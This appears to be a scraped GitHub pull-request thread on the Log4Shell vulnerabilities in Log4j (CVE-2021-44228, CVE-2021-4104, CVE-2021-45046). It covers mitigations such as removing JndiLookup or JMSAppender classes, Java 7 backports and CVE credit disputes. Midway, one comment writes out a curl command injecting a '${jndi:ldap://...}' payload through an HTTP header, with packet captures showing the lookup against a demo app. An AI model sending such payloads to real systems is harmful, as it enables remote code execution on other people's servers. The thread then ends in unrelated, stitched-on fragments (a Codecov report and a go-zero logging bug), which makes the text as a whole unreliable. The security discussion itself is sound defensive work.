A comma separated list of fully qualified class names that may be accessed by LDAP. The classes must implement Serializable. Only applies when the JMS Appender By default only Java primative classes are allowed.

allowdLdapHosts
String
null
A comma separated list of host names or ip addresses that may be accessed by LDAP. By default only the local host names and ip addresses are allowed.

allowdJndiProtocols
String
null
A comma separated list of protocol names that JNDI will allow. By default only java, ldap, and ldaps are the only allowed protocols.

Do you think changing these params and make sure ldap is not used, can guard us from this vulnerability of Log4j 1.x? Of course we need to upgrade, but as a workaround now...

Log4j 1.2 has it's own CVE now CVE-2021-4104 to save confusion: https://lists.apache.org/thread/0x4zvtq92yggdgvwfgsftqrj4xx5w0nx

The confusion is made worse as this is a RedHat "CVE" which is not registered with cve.org.

The confusion is made worse as this is a RedHat "CVE" which is not registered with cve.org.

It was just pushed to cve.org and should be visible soon.  We decided to keep the Red Hat allocated CVE to save creating yet another and rejecting theirs.  The text of the entry was written by ASF.

@remkop Hi! Thanks for your work and the community correspondence.
Do you have any plans to backport the correspondence to this vulnerability to older versions of the 2.x?

I would also appreciate if security fixes could be back ported to 2.12.x as this is the last version that supports Java 7.
We're still supporting Java 7 in the Elastic APM Java agent so we can't upgrade to 2.15.0, which requires Java 8. We fixed the vulnerability by excluding JndiLookup but this still causes vulnerability scanners to emit warnings which creates a lot of friction (see https://github.com/elastic/apm-agent-java/pull/2332).
Is back porting security fixes to the 2.12.x branch something you would consider? Is it something we could help you with?

All Eclipse releases from the past years are using log4j 1.2.15
What is the recommendation for Eclipse users?
Is there a workaround to ensure Eclipse users are not vulnerable?

You are fine unless you are using a specially crafted configuration for a
JMS Appender.
Gary
On Mon, Dec 13, 2021 at 12:22 PM drorbrillsnps @.***>
wrote:

All Eclipse releases from the past years are using log4j 1.2.15
What is the recommendation for Eclipse users?
Is there a workaround to ensure Eclipse users are not vulnerable?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/apache/logging-log4j2/pull/608#issuecomment-992699787,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAJB6NY5KWUN7FWEQL4SJC3UQYTTZANCNFSM5JA3ZEGA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

Thank you Gary,
Is there a way to make sure JMS Appender is disabled?
Just to make sure that a user is not able to create configurations that are risky.

@TopStreamsNet thank you for the detailed answer about 1.x versions. At Snyk we checked it as well and agree with your conclusions. 1.x is not vulnerable unless malicious user input flows to configuration of the JMSAppender.
We published it as a vulnerability in out DB with detailed explanation.

@Kirill89 @ceki please confirm.
Does removing JMSAppender completely mitigate what Snyk is describing as SNYK-JAVA-LOG4J-2316893, that is CVE-2021-44228 as it pertains to Log4j 1.2.17.
That is
zip -q -d log4j-1.2.17.jar org/apache/log4j/net/JMSAppender.class

The confusion is made worse as this is a RedHat "CVE" which is not registered with cve.org.

It was just pushed to cve.org and should be visible soon. We decided to keep the Red Hat allocated CVE to save creating yet another and rejecting theirs. The text of the entry was written by ASF.

Can You comment on why "write access to the Log4j configuration" is regarded as PR:N? The advisory by @Kirill89 and the Apache mailing list entry seem to suggest otherwise. Is this rooted in the CVSS specification?

if a specific configuration is required for an attack to succeed, the vulnerable component should be scored assuming it is in that configuration.
https://www.first.org/cvss/specification-document#2-1-Exploitability-Metrics
Seems weird.

@tony-- Yes I believe that removing the JMSAppender class from the Log4j 1.x jar will mitigate this vulnerability.

PR:N is for the original CVE. PR:H would be for modifying the config file, though we didn't publish separate CVEs for the different ways to exploit the same underlying issue.

I would also appreciate if security fixes could be back ported to 2.12.x as this is the last version that supports Java 7. We're still supporting Java 7 in the Elastic APM Java agent so we can't upgrade to 2.15.0, which requires Java 8. We fixed the vulnerability by excluding JndiLookup but this still causes vulnerability scanners to emit warnings which creates a lot of friction (see elastic/apm-agent-java#2332).
Is back porting security fixes to the 2.12.x branch something you would consider? Is it something we could help you with?

Hey @felixbarny! I very well see your case. Mind creating a JIRA ticket, please? I suggest carrying out the backport work after the planned 2.16.0 release.

Thanks @zhangyoufu for your great workaround!
Thanks @remkop and all others here for caring!
about the hint given by zhangyoufu: "Just zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class to disable ${jndi:...} functionality completely." in https://github.com/apache/logging-log4j2/pull/608#issuecomment-990305306
We are no java guys. So I need some more details about how to apply on MS Windows Servers (for log4j-core-2.8.2.jar -files under openJDK 16). I guess this is the way how to do:

search for log4j-core-*.jar -files on your server using explorer.exe
for each such file do (using commandline in cmd.exe):

go to the path of the file using cd -command

enter: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class   , but do not send

replace the * in the filename with the characters necessary to make it the real filename on your system

send it by hitting ENTER

if no reaction comes up, including no error message comes up, it is successful

if sending it a second time, a nothing-to-do message will show up meaning it can't remove a class if it has been already removed

Is this correct?
Do I have to reboot the server afterwards to make it be effective?
Or the other way round: does the effect of removing the class only exist until reboot resulting that I would have to run the zip... command every time after reboot?
(you see: non-java-guy asking questions ;-)
Thank you.

Do I have to reboot the server afterwards to make it be effective?
Or the other way round: does the effect of removing the class only exist until reboot resulting that I would have to run the zip... command every time after reboot?

Shutdown the JVM, modify the JAR files, and start again the process. Given this is Windows, JAR files may be locked and you won't be able to modify them.
Be careful if you have automatic deployments that may override the modified JAR files with original files.

Thanks, brunoborges
So how to shutdown and startup JVM? I can't find a service which looks like this.
About automatic deployments. You are right, some of the log4j-core-2.8.2.jar -files are in apps under .../tomcat/webapps Would it be enough if the *.war -file is removed out of tomcat leaving just the corresponding directory (in which in .../WEB-INF/lib/ is the log4j...jar-file) under .../tomcat/webapps?

sorry for asking twice.
Would it match to shutdown tomcat, remove the lookup class using the zip command given in https://github.com/apache/logging-log4j2/pull/608#issuecomment-990305306 and then restart tomcat.
Is that what you mean in case of tomcat? I appreciate answer. Thanks.

sorry for asking twice.
Would it match to shutdown tomcat, remove the lookup class using the zip command given in https://github.com/apache/logging-log4j2/pull/608#issuecomment-990305306 and then restart tomcat.
Is that what you mean in case of tomcat? I appreciate answer. Thanks.

Yes

Thank you Gary, Is there a way to make sure JMS Appender is disabled? Just to make sure that even if one of the installed Eclipse plug-ins is configured in a risky way, the vulnerability is addressed.

No.

@garydgregory
Please confirm that removing org/apache/log4j/net/JMSAppender.class from log4j-1.2.x.jar is an effective way to mitigate the possibility of the vulnerability being enabled?  I imagine it sounds like a silly question, but I haven't seen a POC for this, so I don't know how to reproduce and then check if removing the class positively disables the POC.

@tony-- there is a POC in the Snyk advisory posted by @Kirill89 somewhere above.

The confusion is made worse as this is a RedHat "CVE" which is not registered with cve.org.

It was just pushed to cve.org and should be visible soon. We decided to keep the Red Hat allocated CVE to save creating yet another and rejecting theirs. The text of the entry was written by ASF.

@iamamoose
Can someone from ASF confirm that an effective mitigation for CVE-2021-4104 is to remove JMSAppender from log4j-1.2.x.jar?  Would it be possible to include that in the CVE description?  This would be similar to the strategy identified for CVE-2021-44228 as well as the informal strategy used for CVE-2019-17571.  It's clear based on all of the discussion that many are interested in how to deal with this in Log4j 1.x, so it would be great if there was a clear mitigation defined.  If not in the CVE description, perhaps in a JIRA entry or a mailing list message?

Yes, removing the JMSAppender class would mitigate one of the main issues there. I'd recommend removing SocketServer while you're at it as that's affected by an older CVE.

Thanks for the confirmation @jvz.  Yes, I plan on removing SocketServer for CVE-2019-17571.  FWIW, anyone using 1.2.17 might also want to remove SMTPAppender for CVE-2020-9488.

Following up on my question if this fixes usage with other property substitutions like ctx: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992427010
Apparently I could confirm my assumption regarding the usage of Thread Context Map, I created a PR here (https://github.com/lunasec-io/lunasec/pull/298) and made changes to the demonstration app to demonstrate the vulnerability even with formatMsgNoLookups=true set shown here: https://github.com/kmindi/log4shell-vulnerable-app
Can someone confirm this?

@remkop嗨！感谢您的工作和社区通信。
您是否计划将与此漏洞的对应关系向后移植到 2.x 的旧版本？

如果安全修复程序可以回移植到 2.12.x，我也将不胜感激，因为这是支持 Java 7 的最后一个版本。 我们仍然在 Elastic APM Java 代理中支持 Java 7，因此我们无法升级到 2.15.0，这需要 Java 8。我们通过排除来修复漏洞，JndiLookup但这仍然会导致漏洞扫描器发出警告，从而产生很多摩擦（请参阅elastic/apm-agent-java#2332）。
您是否会考虑将安全修复程序回移植到 2.12.x 分支？有什么我们可以帮你的吗？

Hi, we provide a patch-version based on 2.12.1(supportd Java7) that we hope it will be helpful to you. Release: https://github.com/quericy/logging-log4j2/releases/tag/2.12.1.sec1 . The pull request: https://github.com/apache/logging-log4j2/pull/608

@remkop Hi! Thanks for your work and the community correspondence.
Do you have any plans to backport the correspondence to this vulnerability to older versions of the 2.x?

I would also appreciate if security fixes could be back ported to 2.12.x as this is the last version that supports Java 7. We're still supporting Java 7 in the Elastic APM Java agent so we can't upgrade to 2.15.0, which requires Java 8. We fixed the vulnerability by excluding JndiLookup but this still causes vulnerability scanners to emit warnings which creates a lot of friction (see elastic/apm-agent-java#2332).
Is back porting security fixes to the 2.12.x branch something you would consider? Is it something we could help you with?

Hi, we provide a patch-version based on 2.12.1(supportd Java7) that we hope it will be helpful to you. Release: https://github.com/quericy/logging-log4j2/releases/tag/2.12.1.sec1 . The pull request: https://github.com/apache/logging-log4j2/pull/608

Looks like the log4j team has already backported the recent fixes to the 2.12 branch and have released 2.12.2-rc1.
Huge shout out to the team, thanks so much ❤
I have also created a PR to back port the fixes for CVE-2020-9488 in the 2.12 branch: https://github.com/apache/logging-log4j2/pull/626

@remkop Hi! Thanks for your work and the community correspondence.
Do you have any plans to backport the correspondence to this vulnerability to older versions of the 2.x?

I would also appreciate if security fixes could be back ported to 2.12.x as this is the last version that supports Java 7. We're still supporting Java 7 in the Elastic APM Java agent so we can't upgrade to 2.15.0, which requires Java 8. We fixed the vulnerability by excluding JndiLookup but this still causes vulnerability scanners to emit warnings which creates a lot of friction (see elastic/apm-agent-java#2332).
Is back porting security fixes to the 2.12.x branch something you would consider? Is it something we could help you with?

Hi, we provide a patch-version based on 2.12.1(supportd Java7) that we hope it will be helpful to you. Release: https://github.com/quericy/logging-log4j2/releases/tag/2.12.1.sec1 . The pull request: #627

@quericy Thank you for your kind offer! The Log4j Team is actually working on a 2.12.2 release targeting Java 7 at this moment, to be released soon. We will check your PR to see if we missed anything. Many thanks!

I see a lot of comments that "log4j 1.x has reached its end of life". However, is there a chance there will be log4j 1.2.18 that just removes the offending features (e.g. JMSAppender, JmsSink, Chainsaw, SocketServer, SocketNode)?
It just does not sound right that the only log4j team answer is "migrate to 2.x or try removing class files from jars".
The issue is that log4j2 is not really a drop-in replacement for log4j1, and there are a lot of users that can't migrate because they would need to adjust their code and configuration files. Is there true maintenance overhead associated with removing certain classes from the source and removing the corresponding tests?

I see a lot of comments that "log4j 1.x has reached its end of life". However, is there a chance there will be log4j 1.2.18 that just removes the offending features (e.g. JMSAppender, JmsSink, Chainsaw, SocketServer, SocketNode)?
It just does not sound right that the only log4j team answer is "migrate to 2.x or try removing class files from jars".

The Socket vulnerability (7.5) has been around for more than 4 years. The SMTP vulnerability has been around for over a year. You've had ages to migrate libraries.
If it's important to Netcracker Tech maybe you could approach the Apache Software Foundation and ask to maintain Log4J 1.

Good tips Philip!

It just does not sound right that the only log4j team answer is "migrate
to 2.x or try removing class files from jars".

How does "unpaid volunteer" sound? ;-)
Gary
On Tue, Dec 14, 2021 at 6:21 AM Philip Whitehouse @.***>
wrote:

I see a lot of comments that "log4j 1.x has reached its end of life".
However, is there a chance there will be log4j 1.2.18 that just removes the
offending features (e.g. JMSAppender, JmsSink, Chainsaw, SocketServer,
SocketNode)?
It just does not sound right that the only log4j team answer is "migrate
to 2.x or try removing class files from jars".
The Socket vulnerability (7.5) has been around for more than 4 years. The
SMTP vulnerability has been around for over a year. You've had ages to
migrate libraries.
If it's important to Netcracker Tech maybe you could approach the Apache
Software Foundation and ask to maintain Log4J 1.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/apache/logging-log4j2/pull/608#issuecomment-993440874,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAJB6N2TBRUZY3I6L4MEKMLUQ4SBPANCNFSM5JA3ZEGA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

approach the Apache Software Foundation

That is exactly what I am doing.

How does "unpaid volunteer" sound? ;-)

@garydgregory , I am a committer and a PMC member on Apache Calcite and Apache JMeter.
That is why I truly do not understand why it is that hard to roll 1.2.18 out. I know there's "dist.apache.org, voting, site update, announce, etc" overheads.
I understand why do you want to stop bugfixes and features for 1.x branch, however, I believe this case is special, and it does not really take significant effort to remove several .java files.
Do you suggest log4j PMC should be paid $5000 for each +1 vote regarding 1.2.18?
I can prepare PR for the removal of the offending classes. That is a non-issue.
However, only log4j PMCs can vote and make the release happen.
Of course, I can fork log4j and publish it under new groupid:artifactid coordinates, however, it would look really weird, and Dependabot won't know that my log4j is a solution to the known issues.

Following up on my question if this fixes usage with other property substitutions like ctx: #608 (comment)
Apparently I could confirm my assumption regarding the usage of Thread Context Map, I created a PR here (lunasec-io/lunasec#298) and made changes to the demonstration app to demonstrate the vulnerability even with formatMsgNoLookups=true set shown here: https://github.com/kmindi/log4shell-vulnerable-app.
Here is also the diff to see what I changed to demonstrate vulnerable ${ctx.apiversion} usage in the log pattern: kmindi/log4shell-vulnerable-app@e539f7e
Can someone confirm this?

Yes: curl -v <IP_ADDRESS>:8080 -H 'X-Api-Version: ${jndi:ldap://example.net/test}' results in a DNS lookup with 2.14.1, whereas the attacker-controlled input in the message field does not:
 41 17.676741911   <IP_ADDRESS> -> <IP_ADDRESS>   HTTP 209 GET / HTTP/1.1
 42 17.676769664   <IP_ADDRESS> -> <IP_ADDRESS>   TCP 66 8080 > 56934 [ACK] Seq=1 Ack=144 Win=30080 Len=0 TSval=346936700 TSecr=2382643118
 43 17.680613689   <IP_ADDRESS> -> <IP_ADDRESS>    DNS 79 Standard query 0xffa9  A example.net
 44 17.680814368    <IP_ADDRESS> -> <IP_ADDRESS>   DNS 79 Standard query response 0xffa9 No such name
 45 17.687397342   <IP_ADDRESS> -> <IP_ADDRESS>   HTTP 193 HTTP/1.1 200   (text/plain)

The bad news: this seems to also work with 2.15.0, X-Api-Version: ${jndi:ldap://localhost/test} results in a TCP connection to localhost:389:
$ docker exec -it log4shell-vulnerable-app jar -tvf /app/spring-boot-application.jar  | grep log4j
   828 Tue Dec 14 11:55:34 GMT 2021 BOOT-INF/classes/log4j2.properties
 24231 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-slf4j-impl-2.15.0.jar
1789769 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-core-2.15.0.jar
 30947 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-jul-2.15.0.jar
301804 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-api-2.15.0.jar

$ curl -v "$(docker inspect -f '{{.NetworkSettings.IPAddress}}' log4shell-vulnerable-app):8080/" -H 'X-Api-Version: ${jndi:ldap://localhost/test}'
*   Trying <IP_ADDRESS>:8080...
* Connected to <IP_ADDRESS> (<IP_ADDRESS>) port 8080 (#0)
> GET / HTTP/1.1
> Host: <IP_ADDRESS>:8080
> User-Agent: curl/7.76.1
> Accept: */*
> X-Api-Version: ${jndi:ldap://localhost/test}
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 13
< Date: Tue, 14 Dec 2021 11:57:10 GMT
<
* Connection #0 to host <IP_ADDRESS> left intact
Hello, world![

$ sudo nsenter -t "$(docker inspect -f '{{.State.Pid}}' log4shell-vulnerable-app)" -n tshark -i lo -n
Running as user "root" and group "root". This could be dangerous.
Capturing on 'Loopback'
  1 0.000000000    <IP_ADDRESS> -> <IP_ADDRESS>    TCP 74 38380 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426441 TSecr=0 WS=128
  2 0.000013194    <IP_ADDRESS> -> <IP_ADDRESS>    TCP 54 389 > 38380 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
  3 0.023625945    <IP_ADDRESS> -> <IP_ADDRESS>    TCP 74 38382 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426464 TSecr=0 WS=128
  4 0.023636425    <IP_ADDRESS> -> <IP_ADDRESS>    TCP 54 389 > 38382 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
  5 0.027652034    <IP_ADDRESS> -> <IP_ADDRESS>    TCP 74 38384 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426468 TSecr=0 WS=128
  6 0.027662963    <IP_ADDRESS> -> <IP_ADDRESS>    TCP 54 389 > 38384 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
  7 0.042974136    <IP_ADDRESS> -> <IP_ADDRESS>    TCP 74 38386 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426484 TSecr=0 WS=128
  8 0.042985398    <IP_ADDRESS> -> <IP_ADDRESS>    TCP 54 389 > 38386 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0

This requires a pattern configured to use ${ctx:...} lookups with attacker-controlled ThreadContext values, which seem to get expanded recursively.
The JNDI restrictions work correctly (no DNS lookups for example.net, only localhost connections), but the https://issues.apache.org/jira/browse/LOG4J2-3198 "disable message lookups by default" does not seem to apply to ${ctx:...} lookups.

@vlsi I suggest you engage the Logging PMC on the logging-dev mailing list with your proposal. However, prior to doing so, please check out the Log4j 1.x code and try to build the project to see if your proposal is feasible.

@vlsi I suggest you engage the Logging PMC on the logging-dev mailing list with your proposal. However, prior to doing so, please check out the Log4j 1.x code and try to build the project to see if your proposal is feasible.

WRT 1.x, there would also be the log4j 1 "extras" companion component to check: https://logging.apache.org/log4j/extras/

approach the Apache Software Foundation

That is exactly what I am doing.

How does "unpaid volunteer" sound? ;-)

@garydgregory , I am a committer and a PMC member on Apache Calcite and Apache JMeter.

I am glad to hear it.

That is why I truly do not understand why it is that hard to roll 1.2.18 out. I know there's "dist.apache.org, voting, site update, announce, etc" overheads. I understand why do you want to stop bugfixes and features for 1.x branch, however, I believe this case is special, and it does not really take significant effort to remove several .java files.
Do you suggest log4j PMC should be paid $5000 for each +1 vote regarding 1.2.18?

No, my intent was to say that for myself and, I can safely say, most of us on the team, this is a proverbial labor of love. I will expand to say that what I meant is that there is only so much time, effort and stress, I can put into a side project. I did not intend to imply a trade off. I normally simply say "volunteer" but I wanted more emphasis in this case which was, in retrospect, redundant of course, volunteers are not paid by definition. Yes, it would be nice to be paid for my "nights and weekends" and my GitHub Sponsor page is waiting for approval, but this is not my driving force or motivation.

I can prepare PR for the removal of the offending classes. That is a non-issue. However, only log4j PMCs can vote and make the release happen.
Of course, I can fork log4j and publish it under new groupid:artifactid coordinates, however, it would look really weird, and Dependabot won't know that my log4j is a solution to the known issues.

See Remko's reply.
TY!

thx @SpComb for confirming what I found.
I'm not quite sure what that means or where we should continue the discussion about that, if it s a new attack vector etc.
I just found (and this is also part of what I reported to the email adress for security of the logging lib) "Variable replacement works in a recursive way." https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html
Especially concerning is what you wrote regarding 2.15.0 ...

Here is also the diff to see what I changed to demonstrate vulnerable ${ctx.apiversion} usage in the log pattern: kmindi/log4shell-vulnerable-app@e539f7e
Can someone confirm this?

Yes: curl -v <IP_ADDRESS>:8080 -H 'X-Api-Version: ${jndi:ldap://example.net/test}' results in a DNS lookup with 2.14.1, whereas the attacker-controlled input in the message field does not:

The bad news: this seems to also work with 2.15.0, X-Api-Version: ${jndi:ldap://localhost/test} results in a TCP connection to localhost:389:

This requires a pattern configured to use ${ctx:...} lookups with attacker-controlled ThreadContext values, which seem to get expanded recursively.
The 2.15.x JNDI restrictions work correctly (no DNS lookups for example.net, only localhost connections), but the 2.10.x -Dlog4j2.formatMsgNoLookups=true / 2.15.x https://issues.apache.org/jira/browse/LOG4J2-3198 "disable message lookups by default" does not seem to apply to ${ctx:...} lookups.

I'm not quite sure what that means or where we should continue the discussion about that, if it s a new attack vector etc.

This should really have been reported privately, or at the minimum via a separate GitHub issue, rather than via a public GitHub PR comment.
For anyone else that may come across similar follow-up issues, I suggest you follow the instructions on the log4j project website, and use the<EMAIL_ADDRESS>email address: https://logging.apache.org/log4j/2.x/security.html

If you have encountered an unlisted security vulnerability or other unexpected behaviour that has security impact, or if the descriptions here are incomplete, please report them privately to the Log4j Security Team. Thank you.

If this does turn out to be a new attack vector, it probably needs a new CVE number. I've attempted to contact the relevant security contacts to take this further, I don't know what else to do.

Please see https://lists.apache.org/thread/83y7dx5xvn3h5290q1twn16tltolv88f relating to CVE-2021-45046 (addressed by 2.16.0)

Hey @vy has it been confirmed that the DoS Attack also happens on 2.0 ... 2.14.1, or if it is exclusive to 2.15.0 due to the fixes for log4shell?

DoS attack is applicable to the same version range as the RCE as well as including 2.15.0.

DoS attack is applicable to the same version range as the RCE as well as including 2.15.0.

Thanks, @jvz for confirming. It's just that the CVE [1] does not have that indication. The way is written, it sounds like it only applies to 2.15.0.
[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046

I've made a bunch of changes to the CVE description (at least for 44228), but they're awaiting approval from the Apache security team.
The message lookup mitigations aren't sufficient to protect from either the DoS or RCE attacks. That's something that's been updated in CVE-2021-44228 (or will be when it's re-synced upstream).

I can prepare PR for the removal of the offending classes. That is a non-issue.

@vlsi Please do. I think this would be a very valuable effort.

While no Java version can effectively mitigate the issue, I want to point out that developers using jlink on Java 9+ for custom runtimes that do not include java.naming module, are in fact not vulnerable to any JNDI related attack.

The message lookup mitigations aren't sufficient to protect from either the DoS or RCE attacks.

If mitigations, such as e.g., "-Dlog4j2.formatMsgNoLookups=true’" are insufficient against RCE, is it in fact true that 2.15.0 itself is insufficient against RCE?
The advisory is not quite clear on this and can be read either way ("2.15.0, while vulnerable to DoS, is sufficient against RCE, while mitigations in <2.15.0 are not" or "2.15.0 is vulnerable both to DoS and to RCE"), but since it's my understanding that 2.15.0 is (effectively) functionally equivalent to 2.14.x with "-Dlog4j2.formatMsgNoLookups=true’", it seems to me that 2.15.0 remains vulnerable to RCE.
Is this interpretation correct?
In either case, can https://logging.apache.org/log4j/2.x/security.html and the CVE be updated to be very explicit about this?

There were changes made in 2.15.0 besides disabling message lookups. Those changes reduce the attack surface of JNDI lookups. It sounds like some clarifications are in order, though.

Hello Jan,
Thank you for asking for clarification, we need to make our message as
clear as possible.
"If mitigations, such as e.g., "-Dlog4j2.formatMsgNoLookups=true’" are
insufficient against RCE, is it in fact true that 2.15.0 itself is
insufficient against RCE?"
Correct, you must use 2.16.0 or 2.12.2 (if an app is stuck on Java 7) for
full protection.
I am sure we will continue to improve our documenting this issue.
Gary
On Tue, Dec 14, 2021 at 7:44 PM Jan Schaumann @.***>
wrote:

The message lookup mitigations aren't sufficient to protect from either
the DoS or RCE attacks.
If mitigations, such as e.g., "-Dlog4j2.formatMsgNoLookups=true’" are
insufficient against RCE, is it in fact true that 2.15.0 itself is
insufficient against RCE?
The advisory is not quite clear on this and can be read either way
("2.15.0, while vulnerable to DoS, is sufficient against RCE, while
mitigations in <2.15.0 are not" or "2.15.0 is vulnerable both to DoS and to
RCE"), but since it's my understanding that 2.15.0 is (effectively)
functionally equivalent to 2.14.x with "-Dlog4j2.formatMsgNoLookups=true’",
it seems to me that 2.15.0 remains vulnerable to RCE.
Is this interpretation correct?
In either case, can https://logging.apache.org/log4j/2.x/security.html
and the CVE be updated to be very explicit about this?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/apache/logging-log4j2/pull/608#issuecomment-994182074,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAJB6N7QWWDLX62RHKN2P5TUQ7QIDANCNFSM5JA3ZEGA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

Thanks @garydgregory . Appreciate the clarity.

For anyone following this issue. If you are using  spring boot 4.3.27 or later/above, you could use spring.jndi.ignore=true to disable jndi completely using jvm properties if upgrade option is not your choice or JAVA_OPTS environment variable.
Reference: https://github.com/spring-projects/spring-boot/issues/5419

I reported this denial of Service Vulnerability (cve-2021-45046) to the logging PMC last week. Although I didn't propose threadcontext, I explained the trigger method of the denial of service vulnerability. In terms of time, I should have proposed it earlier, but I didn't see my name in the CVE credit. I hope my name can also be added to the CVE credit

I reported this denial of Service Vulnerability (cve-2021-45046) to the logging PMC last week. Although I didn't propose threadcontext, I explained the trigger method of the denial of service vulnerability. In terms of time, I should have proposed it earlier, but I didn't see my name in the CVE credit. I hope my name can also be added to the CVE credit. 4ra1n

@EmYiQing Apologies if we missed anyone in giving proper credit to the people who helped discovering these vulnerabilities.
The Apache Logging PMC have been extremely busy with confirming and fixing the vulnerability reports, releasing new versions of the software, and communicating about the vulnerabilities. When I woke up this morning I found my inbox had grown to 700+ unread messages. :-)
Please don't hesitate to remind us again in a few days or a week or so when we have a bit more breathing space.
Thank you for your understanding!

@remkop Thank you for your reply
I sent a vulnerability report to<EMAIL_ADDRESS>on December 10 and received a reply and thanks from Ralgh Goers five hours later. CVE-2021-45046 seems to have been proposed two days ago. It seems that I am ahead.
I just hope my name: 4ra1n can join credit of CVE-2021-45046 on the page https://logging.apache.org/log4j/2.x/security.htm
I hope you can remember to add my name after your current work. I will be very grateful

@remkop Thank you for your reply I sent a vulnerability report to<EMAIL_ADDRESS>on December 10 and received a reply and thanks from Ralgh Goers five hours later. CVE-2021-45046 seems to have been proposed two days ago. It seems that I am ahead. I just hope my name: 4ra1n can join credit of CVE-2021-45046 on the page https://logging.apache.org/log4j/2.x/security.htm I hope you can remember to add my name after your current work. I will be very grateful

@EmYiQing The bug was originally disclosed to Apache on November 24th by Chen Zhaojun of Alibaba Cloud Security Team - https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/log4shell-vulnerability-is-the-coal-in-our-stocking-for-2021/

@mrdgsmith Here I discuss the denial of Service Vulnerability CVE-2021-45046 rather than the Remote Code Execution Vulnerability CVE-2021-44228

@remkop Thank you for your reply I sent a vulnerability report to<EMAIL_ADDRESS>on December 10 and received a reply and thanks from Ralgh Goers five hours later. CVE-2021-45046 seems to have been proposed two days ago. It seems that I am ahead. I just hope my name: 4ra1n can join credit of CVE-2021-45046 on the page https://logging.apache.org/log4j/2.x/security.htm I hope you can remember to add my name after your current work. I will be very grateful

@EmYiQing The bug was originally disclosed to Apache on November 24th by Chen Zhaojun of Alibaba Cloud Security Team - https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/log4shell-vulnerability-is-the-coal-in-our-stocking-for-2021/
https://logging.apache.org/log4j/2.x/security.html

@EmYiQing I updated the credit section for the  CVE-2021-45046  vulnerability on the security page. We will change the CVE itself next. Thank you again very much for your contribution!

@remkop Thank you very much for your work

@remkop Description of CVE-2021-45046 is not accurate, could you verify and update security page?

Thread Context Map pattern (%X, %mdc, or %MDC)

I can confirm that Thread Context Map pattern is not affected.

@quaff Good point yes.

@remkop
Friends, For more analysis on denial of service vulnerabilities, please refer to my article: https://xz.aliyun.com/t/10670
（If you can't understand the articles I wrote in Chinese, you can use Google to translate them into English）

@remkop Description of CVE-2021-45046 is not accurate, could you verify and update security page?

Thread Context Map pattern (%X, %mdc, or %MDC)

I can confirm that Thread Context Map pattern is not affected, migrating from Context Lookup to Thread Context Map pattern could be mitigation.

@remkop Can you contact somebody to update CVE description that Thread Context Map pattern is encouraged not affected?
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
https://nvd.nist.gov/vuln/detail/CVE-2021-45046

@quaff Thanks for noticing this!
The Log4j security page has already been updated to reflect this.
I believe we also already submitted an updated version of CVE-2021-45046 text and it is just taking some time for the mitre.org and nist.gov to reflect these changes.


setup linter,prettier,husky,jest for wails

Codecov Report
Patch and project coverage have no change.

Comparison is base (ff2aea8) 30.59% compared to head (c1e996c) 30.59%.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
Additional details and impacted files
@@           Coverage Diff           @@
##             main     #112   +/-   ##
=======================================
  Coverage   30.59%   30.59%
=======================================
  Files          10       10
  Lines         657      657
=======================================
  Hits          201      201
  Misses        431      431
  Partials       25       25

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


set logx mode=file not work

Describe the bug
A problem was found that the log could not be written to the file
To Reproduce
1.Initialize a customized redisclient in NewServiceContext method
Name: bugTest
Host: <IP_ADDRESS>
Port: 8888
Log:
  Mode: file

  func NewServiceContext(c config.Config) *ServiceContext {
   client :=redis.NewRedisClient()
   return &ServiceContext{
   	Config: c,
   	cl:client,
   }
}

Logx is used in the redisclient initialization code for log printing

import "github.com/zeromicro/go-zero/core/logx"

type Client string
func NewRedisClient() *Client {
   var c Client = "test client "
   logx.Infof("create success")
   return &c
}

